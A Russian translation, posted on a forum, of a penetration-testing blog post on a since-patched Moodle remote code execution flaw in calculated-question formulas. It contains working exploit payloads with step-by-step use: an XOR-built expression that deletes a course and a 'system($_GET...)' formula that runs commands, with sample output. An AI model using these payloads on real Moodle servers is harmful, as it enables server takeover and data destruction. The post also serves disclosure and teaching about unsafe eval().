What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Возвращение в школу: использование уязвимости удалённого выполнения кода в Moodle

BLUA

Midle Weight
Депозит
$0
Источник:
blog.redteam-pentesting.de

Back to School - Exploiting a Remote Code Execution Vulnerability in Moodle

Surprisingly often, implementations include functionality where user input is passed to dangerous functions like PHP’s eval() - despite clear warnings. Often, devs are somewhat aware of this danger and attempt to sanitize the input, but this approach …
blog.redteam-pentesting.de
blog.redteam-pentesting.de
Перевёл: BLUA специально для xss.is


Удивительно часто реализации содержат функциональность, где пользовательский ввод передается в опасные функции, такие как PHP’s eval(), несмотря на очевидные предупреждения. Зачастую разработчики отчасти осведомлены об этой опасности и пытаются очистить ввод, но этот подход редко бывает настолько надежным, как они предполагают. В этом посте мы покажем, как нам удалось обойти попытки очистки на популярной образовательной платформе Moodle, чтобы достичь удаленного выполнения кода, и продемонстрируем, почему всегда лучше придерживаться известной цитаты Расмуса Лерсдорфа, создателя PHP:

Если eval() — это ответ, то вы почти наверняка задаёте неправильный вопрос.
Нажмите, чтобы раскрыть...

Уязвимость была исправлена в версиях Moodle 4.4.2, 4.3.6, 4.2.9 и 4.1.12, выпущенных 10 августа 2024 года.
# Что такое Moodle?
Мы недавно получили возможность поближе изучить Moodle, популярную систему управления обучением (LMS), в контексте проведения пентестов. Moodle используется различными компаниями и университетами по всему миру, включая Университет Рейнско-Вестфальского технического университета Ахена в Германии — университет, где RedTeam Pentesting был первоначально основан как исследовательская группа.

Даже на первый взгляд становится очевидно, что Moodle — это сложная система с некоторыми неожиданными последствиями для безопасности. Например, знаете ли вы, что все пользователи с ролью "тренер" могут по умолчанию выполнять атаки типа Cross-Site Scripting (XSS)! Это вызвало у нас ощущение, что полностью обезопасить платформу будет непросто, и, действительно, нам удалось выявить несколько потенциальных уязвимостей. Одна из обнаруженных проблем оказалась особенно интересной, поэтому мы решили опубликовать этот пост в блоге с более подробным описанием процесса эксплуатации уязвимости и нашими выводами.

Будучи образовательной платформой, Moodle включает функционал для создания тестов, которые можно использовать для проверки того, была ли усвоена тема урока (или нет). Одним из преимуществ автоматически создаваемых тестов является возможность генерировать различные вопросы на основе одного шаблона, что реализуется с помощью вычисляемых вопросов в Moodle. Вычисляемые вопросы — это числовые вопросы, которые могут содержать переменные (называемые в Moodle "подстановочными знаками"), обозначенные фигурными скобками (например, {a}), которым можно присвоить диапазоны чисел. Каждый раз, когда генерируется вопрос, переменная заменяется другим значением из заданного диапазона чисел.

Для проверки того, является ли данный ответ на сгенерированный вопрос правильным, тренеры могут задать формулу ответа. Можете догадаться, как Moodle обрабатывает эти формулы для замены переменных и сложных математических выражений? Возможно, используется специальный парсер, который разрешает лишь ограниченное количество безопасных функций и тщательно сконструирован для предотвращения злоупотреблений? Или, может быть, есть более простой способ? Что ж, в данном случае формулы просто передаются в eval()!

question/type/calculated/question.php:
PHP: Скопировать в буфер обмена
Code:
/**
 * Evaluate an expression using the variable values.
 * @param string $expression the expression. A PHP expression with placeholders
 *      like {a} for where the variables need to go.
 * @return float the computed result.
 */
public function calculate($expression) {
    // Make sure no malicious code is present in the expression. Refer MDL-46148 for details.
    if ($error = qtype_calculated_find_formula_errors($expression)) {
        throw new moodle_exception('illegalformulasyntax', 'qtype_calculated', '', $error);
    }
    $expression = $this->substitute_values_for_eval($expression);
    if ($datasets = question_bank::get_qtype('calculated')->find_dataset_names($expression)) {
        // Some placeholders were not substituted.
        throw new moodle_exception('illegalformulasyntax', 'qtype_calculated', '',
            '{' . reset($datasets) . '}');
    }
    return $this->calculate_raw($expression);
}

/**
 * Evaluate an expression after the variable values have been substituted.
 * @param string $expression the expression. A PHP expression with placeholders
 *      like {a} for where the variables need to go.
 * @return float the computed result.
 */
protected function calculate_raw($expression) {
    try {
        // In older PHP versions this this is a way to validate code passed to eval.
        // The trick came from http://php.net/manual/en/function.eval.php.
        if (@eval('return true; $result = ' . $expression . ';')) {
            return eval('return ' . $expression . ';');
        }
    } catch (Throwable $e) {
        // PHP7 and later now throws ParseException and friends from eval(),
        // which is much better.
    }
    // In either case of an invalid $expression, we end here.
    throw new moodle_exception('illegalformulasyntax', 'qtype_calculated', '', $expression);
}

Все примеры кода в этом блоге взяты из Moodle версии 4.4.1.

Так что происходит некоторая проверка (строка 433), вероятно, потому что функциональность могла быть неоднократно использована в прошлом, что также подтверждается комментарием (MDL-46148). Тем не менее, каждая строка, которая пройдет проверку через функцию qtype_calculated_find_formula_errors, будет передана напрямую в eval (строка 456).

Цель сейчас, конечно, заключается в том, чтобы найти способ задать произвольные команды, которые будут выполнены при передаче в `eval`, но не пройдут проверку. Мы приглашаем вас попробовать взломать эту систему, возможно, вы даже найдете интересный или более мощный способ обойти проверку (дайте нам знать!). Вы можете найти упрощенную версию соответствующих функций для тестирования ваших идей в нашем репозитории для этого блога.

# Урок первый: Введение в процесс валидации

Давайте сначала подробнее рассмотрим функцию валидации, которая также воспроизведена в файле validation.php в нашем репозитории:
question/type/calculated/questiontype.php:
PHP: Скопировать в буфер обмена
Code:
 * Validate a forumula.
 * @param string $formula the formula to validate.
 * @return string|boolean false if there are no problems. Otherwise a string error message.
 */
function qtype_calculated_find_formula_errors($formula) {
    foreach (['//', '/*', '#', '<?', '?>'] as $commentstart) {
        if (strpos($formula, $commentstart) !== false) {
            return get_string('illegalformulasyntax', 'qtype_calculated', $commentstart);
        }
    }

Первое ограничение, налагаемое проверкой, заключается в том, что в заданной формуле ответа не должно быть никаких комментариев PHP. Довольно просто.
PHP: Скопировать в буфер обмена
Code:
$formula = preg_replace(qtype_calculated::PLACEHODLER_REGEX, '1.0', $formula);

    // Strip away empty space and lowercase it.
    $formula = strtolower(str_replace(' ', '', $formula));

    $safeoperatorchar = '-+/*%>:^\~<?=&|!'; /* */
    $operatorornumber = "[{$safeoperatorchar}.0-9eE]";

    while (preg_match("~(^|[{$safeoperatorchar},(])([a-z0-9_]*)" .
            "\\(({$operatorornumber}+(,{$operatorornumber}+((,{$operatorornumber}+)+)?)?)?\\)~",
            $formula, $regs)) {

Здесь всё становится немного сложнее. Во-первых, все переменные заменяются числом 1.0. Существуют некоторые ограничения на имена переменных, в основном для предотвращения использования кавычек, но они относительно безобидны по сравнению с остальной частью валидации, поэтому мы их пока игнорируем.

Далее формула переводится в нижний регистр, и пробелы удаляются. Определяются два набора символов:
- «Безопасные символы операторов», которые включают операторы для базовых математических выражений, а также побитовые операции и сравнения.
- «Операторы или числа», где к безопасным символам операторов добавляются числа, точка для десятичных дробей, а также «e» и «E» для научной нотации.

Основная логика проверки реализована путем итерации по формуле и идентификации крайнего левого математического выражения, которое можно отличить по отсутствию вложенных скобок. Это выражение затем заменяется на 1.0, если оно не содержит никакого функционала, который не был явно разрешен:
PHP: Скопировать в буфер обмена
Code:
        switch ($regs[2]) {
            // Simple parenthesis.
            case '':
                if ((isset($regs[4]) && $regs[4]) || strlen($regs[3]) == 0) {
                    return get_string('illegalformulasyntax', 'qtype_calculated', $regs[0]);
                }
                break;

                // Zero argument functions.
            case 'pi':
                if (array_key_exists(3, $regs)) {
                    return get_string('functiontakesnoargs', 'qtype_calculated', $regs[2]);
                }
                break;

            // Single argument functions (the most common case).
            case 'abs': case 'acos': case 'acosh': case 'asin': case 'asinh':
            case 'atan': case 'atanh': case 'bindec': case 'ceil': case 'cos':
            case 'cosh': case 'decbin': case 'decoct': case 'deg2rad':
            case 'exp': case 'expm1': case 'floor': case 'is_finite':
            case 'is_infinite': case 'is_nan': case 'log10': case 'log1p':
            case 'octdec': case 'rad2deg': case 'sin': case 'sinh': case 'sqrt':
            case 'tan': case 'tanh':
                if (!empty($regs[4]) || empty($regs[3])) {
                    return get_string('functiontakesonearg', 'qtype_calculated', $regs[2]);
                }
                break;

                // Functions that take one or two arguments.
            case 'log': case 'round':
                    if (!empty($regs[5]) || empty($regs[3])) {
                        return get_string('functiontakesoneortwoargs', 'qtype_calculated', $regs[2]);
                    }
                break;

                // Functions that must have two arguments.
            case 'atan2': case 'fmod': case 'pow':
                        if (!empty($regs[5]) || empty($regs[4])) {
                            return get_string('functiontakestwoargs', 'qtype_calculated', $regs[2]);
                        }
                break;

                // Functions that take two or more arguments.
            case 'min': case 'max':
                    if (empty($regs[4])) {
                        return get_string('functiontakesatleasttwo', 'qtype_calculated', $regs[2]);
                    }
                break;

            default:
                return get_string('unsupportedformulafunction', 'qtype_calculated', $regs[2]);
        }

        // Exchange the function call with '1.0' and then check for
        // another function call...
        if ($regs[1]) {
            // The function call is proceeded by an operator.
            $formula = str_replace($regs[0], $regs[1] . '1.0', $formula);
        } else {
            // The function call starts the formula.
            $formula = preg_replace('~^' . preg_quote($regs[2], '~') . '\([^)]*\)~', '1.0', $formula);
        }

Обратите внимание, что несколько математических функций разрешены явно; все остальные названия функций приводят к ошибке проверки.

Наконец, после того как регулярное выражение не находит дополнительных совпадений, формула считается допустимой, если она содержит только безопасные операторы или числа:
PHP: Скопировать в буфер обмена
Code:
    if (preg_match("~[^{$safeoperatorchar}.0-9eE]+~", $formula, $regs)) {
        return get_string('illegalformulasyntax', 'qtype_calculated', $regs[0]);
    } else {
        // Formula just might be valid.
        return false;
    }

Исходная формула будет передана в eval только в том случае, если этот окончательный проверочный шаг будет успешным.

Обратите внимание, что переменные валидационной функцией в основном игнорируются, так как на первом этапе они сразу же заменяются на число 1.0. Сначала мы не нашли способа использовать этот факт, но в итоге он сыграл важную роль в конечной уязвимости…

Однако, вероятно, это делает функцию тривиально эксплуатируемой при использовании более старых версий PHP, где оператор доступа к массиву с фигурными скобками всё ещё доступен. Например, (1){phpinfo()} будет выглядеть как бессмысленное, но "безопасное" выражение (1)1.0 для валидационной функции и приведёт к вызову phpinfo() или любой другой функции, определённой в имени переменной. К сожалению для нас, эта нотация была устаревшей и удалена в PHP, начиная с версии 8, которая является текущей поддерживаемой версией на большинстве операционных систем, включая систему, которую мы тестировали. Поэтому нам пришлось найти другой подход.

# Получите знания: исследование по интересным возможностям PHP

Ты когда-нибудь слышал о JSFuck? Это "эзотерическое подмножество" JavaScript, которое использует только шесть символов ([]()+!), — существуют аналогичные подходы и для PHP (см., например, этот репозиторий). Это вдохновило нас применить похожую технику для обхода логики валидации. Однако все найденные нами на тот момент подходы требуют квадратных скобок для доступа к массивам, а они полностью запрещены проверкой. В какой-то момент мы также обнаружили другие подходы, похожие на PHPFuck, которые не зависят от квадратных скобок, но ни один из них, похоже, не удовлетворяет требованиям функции валидации Moodle.

Тем не менее, у нас по-прежнему есть ряд мощных инструментов, даже без квадратных скобок. Во-первых, у нас есть доступ к нескольким математическим функциям, включая нашу новую любимую — acos. acos — это обратная функция тригонометрического косинуса, и, следовательно, она не определена для значений больше 1. Таким образом, acos(2) — это не число, что в PHP представляется как NAN. Но как NAN может помочь нам выполнить код? Это сложно, но проявите терпение, и в конце концов все станет понятно. Но сначала нам нужно больше NAN.

Интересно, что символ десятичной точки . также может использоваться для конкатенации строк в PHP, и числа автоматически приводятся к строкам при их конкатенации. Это означает, что выражение типа "acos(2) . acos(2)" приводит к строке "NANNAN". Однако изначально не было возможности напрямую конкатенировать два вызова acos, потому что логика валидации не позволяла сделать второй вызов без использования настоящего "оператора" между вызовами (и снова: точка используется только для десятичных чисел). К счастью, мы быстро обнаружили, что это ограничение можно обойти, используя "acos(2) . 0+acos(2)", что, наконец, позволяет нам сгенерировать "NANNANNANNAN".

Далее, мы можем использовать оператор XOR ^ (на этот раз правильное использование настоящего оператора!), чтобы перевернуть некоторые биты в результирующей строке:

PHP: Скопировать в буфер обмена
(acos(2) . 1) ^ (0 . 0 . 0) ^ (1 . 1 . 1)

Следующее выражение довольно сложно для восприятия, но давайте разберем его по частям. В первой из трёх частей, (acos(2) . 1), результат acos(2) преобразуется в строку путем добавления символа "1", что приводит к строке "NAN1".

Остальные две части определяют строки чисел, которые подвергаются операции XOR с NAN1. Здесь конкатенация приводит к тому, что три числа преобразуются в строку из трёх символов, соответствующих ASCII-представлениям каждого числа.

png1.png



Далее операция XOR выполняется посимвольно. Первый XOR применяется к символу N из NAN1, 0 из 000 и 1 из 111. Обратите внимание, что 0 — это не нулевой байт, а ASCII-число 0x30, соответствующее символу 0. То же самое касается 1, которое соответствует ASCII 0x31.

png2.png



Операция XOR между первой и второй частью даёт символ тильды ~. Наконец, необходимо выполнить операцию XOR над символом тильды и символом 1 из последней части, что в результате даёт заглавную букву O:
png3.png



Это кажется отличным способом изменить строки NAN на произвольные буквы. К сожалению, это не совсем так, поскольку числа охватывают только небольшое подмножество диапазона ASCII. В частности, при использовании чисел и операции XOR мы можем изменять только четыре наименее значащих бита, что недостаточно для генерации произвольных символов. Неужели на этом путешествие заканчивается?

Нет, на помощь приходит теория чисел! Мы также можем использовать отрицательные числа, и знак минуса можно использовать для изменения тех самых ускользающих старших битов. Допустим, мы хотим превратить букву A в T, мы можем выполнить операцию XOR между A, - и 8:
Код: Скопировать в буфер обмена
Code:
A: 0100 0001
-: 0010 1101
8: 0011 1000
------------
T: 0101 0100

Теперь, когда мы можем получать произвольные символы, давайте перейдём к произвольным строкам. Помните единицу из NAN1? Мы немного проигнорировали её, когда сказали, что применяем операцию XOR посимвольно, ведь в других двух секциях нет четвёртой буквы. На самом деле, эта неподходящая единица просто отбрасывается при выполнении XOR. Мы можем использовать это поведение вместе с нашими произвольно длинными последовательностями NANNANNANNAN... для создания строк любой длины, а не кратной трём.

Поскольку выполнять этот процесс вручную довольно утомительно, мы создали скрипт, который делает это за нас.

Поскольку это более полный пример, следующее выражение вычисляется как PRINTF:
PHP: Скопировать в буфер обмена
(acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0)

Но что мы можем сделать со строками? Здесь вступает в игру одна особенность PHP: переменные функции. С помощью этой функции эти две строки делают одно и то же:
PHP: Скопировать в буфер обмена
Code:
PRINTF();
'PRINTF'();

Разве это не здорово? Всё, что нам нужно сделать, — это найти выражение, которое вычисляется в строку, содержащую имя функции, которую мы хотим вызвать, добавить скобки с аргументами, и функция будет вызвана. Звучит достаточно просто, поэтому мы попробовали.

# Переход к промежуточным итогам: Ограниченные вызовы функций

Итак, подытожим: теперь мы можем генерировать почти произвольные строки, используя допустимые математические выражения. Осталась только одна проблема: формула проверки не позволяет нам непосредственно после строки использовать новые скобки. Другими словами, мы можем создать имя функции, которое требует математического выражения, но не можем вызвать саму функцию, так как это потребовало бы второго «выражения» или хотя бы скобок, однако функция проверки требует, чтобы два выражения были соединены математическим оператором (например, +). Можем ли мы найти способ обойти это ограничение?

На этом этапе мы еще раз взглянули на исходный код и заметили кое-что интересное относительно подстановки переменных:
PHP: Скопировать в буфер обмена
Code:
    /**
     * Substitute variable placehodlers like {a} with their value wrapped in ().
     * @param string $expression the expression. A PHP expression with placeholders
     *      like {a} for where the variables need to go.
     * @return string the expression with each placeholder replaced by the
     *      corresponding value.
     */
    protected function substitute_values_for_eval($expression) {
        return str_replace($this->search, $this->safevalue, $expression);
    }

«С их значением, обернутым в ()» — это означает, что когда переменной a присваивается значение 1, {a} заменяется на (1). Следовательно, если мы добавим {a} к выражению выше, соответствующему PRINTF, результатом будет PRINTF(1) — вызов функции. К счастью, подстановка происходит после проверки, и проверка по сути игнорирует переменные.

В итоге, мы можем определить формулу ответа из двух частей: (function_name) и {переменная}. Проверка сначала удаляет часть с {переменной} и выполняет валидацию оставшегося выражения, которое конструирует имя функции в виде строки в одном математическом выражении. Затем происходит подстановка, и мы получаем столь желанные скобки (мы и не думали, что добавление скобок принесет столько радости — неужели программисты на LISP чувствуют это каждый день?).

Здесь, конечно, есть одно серьезное ограничение: этот подход позволяет вызывать только функции, принимающие не более одного числового параметра. Невозможно даже использовать результат вызова одной функции в качестве входных данных для другой функции. Другими словами, если мы не сможем найти функцию, которая позволит нам передавать более сложные команды, например, через информацию из HTTP-запроса, то влияние этой уязвимости сильно ограничено.

Тем не менее, информация, возвращаемая вызовом функции, отображается атакующему, так как вывод напрямую встраивается в веб-сайт. Следовательно, функции вроде phpinfo() могут раскрыть некоторую внутреннюю информацию злоумышленникам. Кроме того, существуют несколько функций, которые требуют всего одного аргумента и могут повлиять на доступность Moodle. Ярким примером является функция DELETE_COURSE, которая, как следует из названия, удаляет курс. У нее есть только один обязательный параметр: ID курса — одно целое число.

Полноценная эксплуатация уязвимости, приводящая к удалению курса, будет выглядеть следующим образом:
1. Создайте вычисляемый вопрос с одной переменной, например {a}
2. Сохраните вопрос и задайте диапазон значений переменной точно равным идентификатору курса, который вы хотите удалить (идентификаторы курсов — это увеличивающиеся числа, которые легко угадать)
3. Сохраните вопрос, затем отредактируйте его снова.
4. Теперь измените формулу ответа на следующее выражение:
PHP: Скопировать в буфер обмена
((acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2)) ^ (8 . 4 . 2 . 8 . 8 . 3 . 4 . 0 . 0 . 0 . -1 . 3) ^ (2 . 0 . 0 . 3 . 0 . 0 . 0 . 0 . 0 . -8 . 1 . 0) ^ (0 . 0 . 0 . 0 . 0 . 0 . -2 . 1 . 4 . 6 . 0 . 0) ^ (0 . 0 . 0 . 0 . -8 . 8 . 0 . 0 . 2 . 0 . -8)){a}
5. Сохраните снова, при попытке сохранить вы можете получить ошибку ("Exception - syntax error, unexpected integer"), но ее можно игнорировать.
6. Просмотрите вопрос - вы должны получить уведомления о том, что выбранный курс удален:
png4.png



# Финал: удалённое выполнение кода

Мы теперь можем вызывать произвольные функции с ровно одним числовым параметром. Как же нам отсюда перейти к удалённому выполнению кода? Ну, если вы знаете ответ, дайте нам знать, потому что мы так и не нашли способ сделать это, используя описанный метод.

Вместо этого мы продолжили экспериментировать с функцией валидации и заметили кое-что:
PHP: Скопировать в буфер обмена
Code:
php > echo (1)->1.0;
PHP Parse error:  syntax error, unexpected floating-point number "1.0", expecting identifier or variable or "{" or "$" in php shell code on line 1
… интерпретатор ожидает фигурные скобки?

Оказалось, что существует несколько малоизвестный способ доступа к свойствам объектов с использованием фигурных скобок, который является частью синтаксиса переменных переменных (их так на самом деле и называют). В соответствии с примерами документации PHP, возможны такие выражения:
PHP: Скопировать в буфер обмена
(1)->{system($_GET[chr(97)])}

Выражение в фигурных скобках вычисляется для нахождения соответствующего свойства, поэтому все включенные функции также вызываются. В этом случае значение HTTP-параметра запроса "a" (ASCII 0x61, или 97) передается функции system() для выполнения произвольных команд. Мы используем функцию chr для определения символа "a", так как кавычки не допускаются в именах переменных.

Однако, Moodle интерпретирует {system(_GET[chr(97)])} как переменную и попытается заменить её на число, что в данном случае не имеет смысла и нарушает наш эксплойт. К счастью, мы нашли малоизвестный способ предотвратить это: в форме, где можно определить подстановки переменных, будет отображаться поле выбора для обнаруженной переменной с именем {system(_GET[chr(97)])}. Отредактировав HTML-разметку, можно изменить значение атрибута value выбранной опции переменной на 0 перед отправкой запроса, что предотвращает её подстановку. После сохранения вопроса мы можем выбрать команду для выполнения, добавив параметр запроса a=[команда] в URL.

В целом, эксплуатация этого подхода выглядела бы следующим образом:
1. Создать вычисляемый вопрос
2. Установите формулу ответа на
PHP: Скопировать в буфер обмена
(1)->{system($_GET[chr(97)])}
3. Сохраните, предотвратив подстановку переменной, как объяснено выше.

После сохранения вопроса возвращается ошибка 'Exception - system(): Аргумент #1 (command) не может быть пустым
png5.png



Вот что мы получаем, когда изменяем URL и добавляем &a=id.

Код: Скопировать в буфер обмена
Code:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<!DOCTYPE html>

<html  dir="ltr" lang="en" xml:lang="en">
<head>
    <title>Editing a Calculated question | Test</title>
[...]
И мы внутри.

# ПоследствияИтоги


В заключение, мы нашли способ для пользователей с ролью «тренер», которая по умолчанию обладает необходимыми разрешениями для создания вопросов, выполнять код на серверах Moodle.

Нам бы понравилось, если бы сложный способ привел к выполнению произвольного удаленного кода (RCE) в итоге, так как это сделало бы историю более интересной. На самом деле, этого блога, вероятно, не было бы, если бы мы нашли только второй вариант. Тем не менее, это демонстрирует, что более простое решение зачастую превосходит сложное, и что во время проведения тестов на проникновение полезно обращать внимание не только на глубину, но и на окружающие возможности.

Это обнаружение было сообщено команде безопасности Moodle 12 июля 2024 года и было исправлено в версиях 4.4.2, 4.3.6, 4.2.9 и 4.1.12, выпущенных 10 августа 2024 года. Вы также можете найти соответствующее уведомление на нашем сайте.

Проблема, описанная в этом блоге, была решена путем ограничения набора допустимых символов в именах переменных и формулах. В исправленных версиях больше не включены необходимые бинарные операции в разрешенной синтаксис формул, что препятствует нашему методу создания произвольных строк. Кроме того, теперь имена переменных могут содержать только буквенно-цифровые символы, пробелы, дефисы или подчеркивания, чего недостаточно для вызова или (пере)определения произвольных функций (что требует круглых скобок) или, например, перезаписи переменных (требует символа доллара). Хотя это все еще позволяет использовать несколько ключевых слов в именах переменных, таких как "new", мы не нашли очевидных способов злоупотребления этим поведением в отведенное нам время для подтверждения исправления. Вызов eval() по-прежнему остается, однако проект упомянул, что планирует заменить его на пользовательскую библиотеку парсинга в будущем, когда это станет возможным.

Вкратце, передавать пользовательский ввод в eval по-прежнему плохая идея, даже если вы проводите очистку. В PHP существует множество особенностей и хитростей, которые позволяют скрывать вредоносный ввод, включая PHPFuck, переменные функции и неочевидный способ доступа к свойствам объектов с использованием фигурных скобок. Практически невозможно учесть все неявные аспекты и взаимодействия в языке программирования для эффективной очистки ввода. Следовательно, мы вынуждены согласиться с создателем PHP:

Если eval() — это ответ, вы почти наверняка задаете неправильный вопрос.
Нажмите, чтобы раскрыть...

И прежде чем вы спросите, это справедливо практически для всех других языков с аналогичным функционалом eval.
 
Top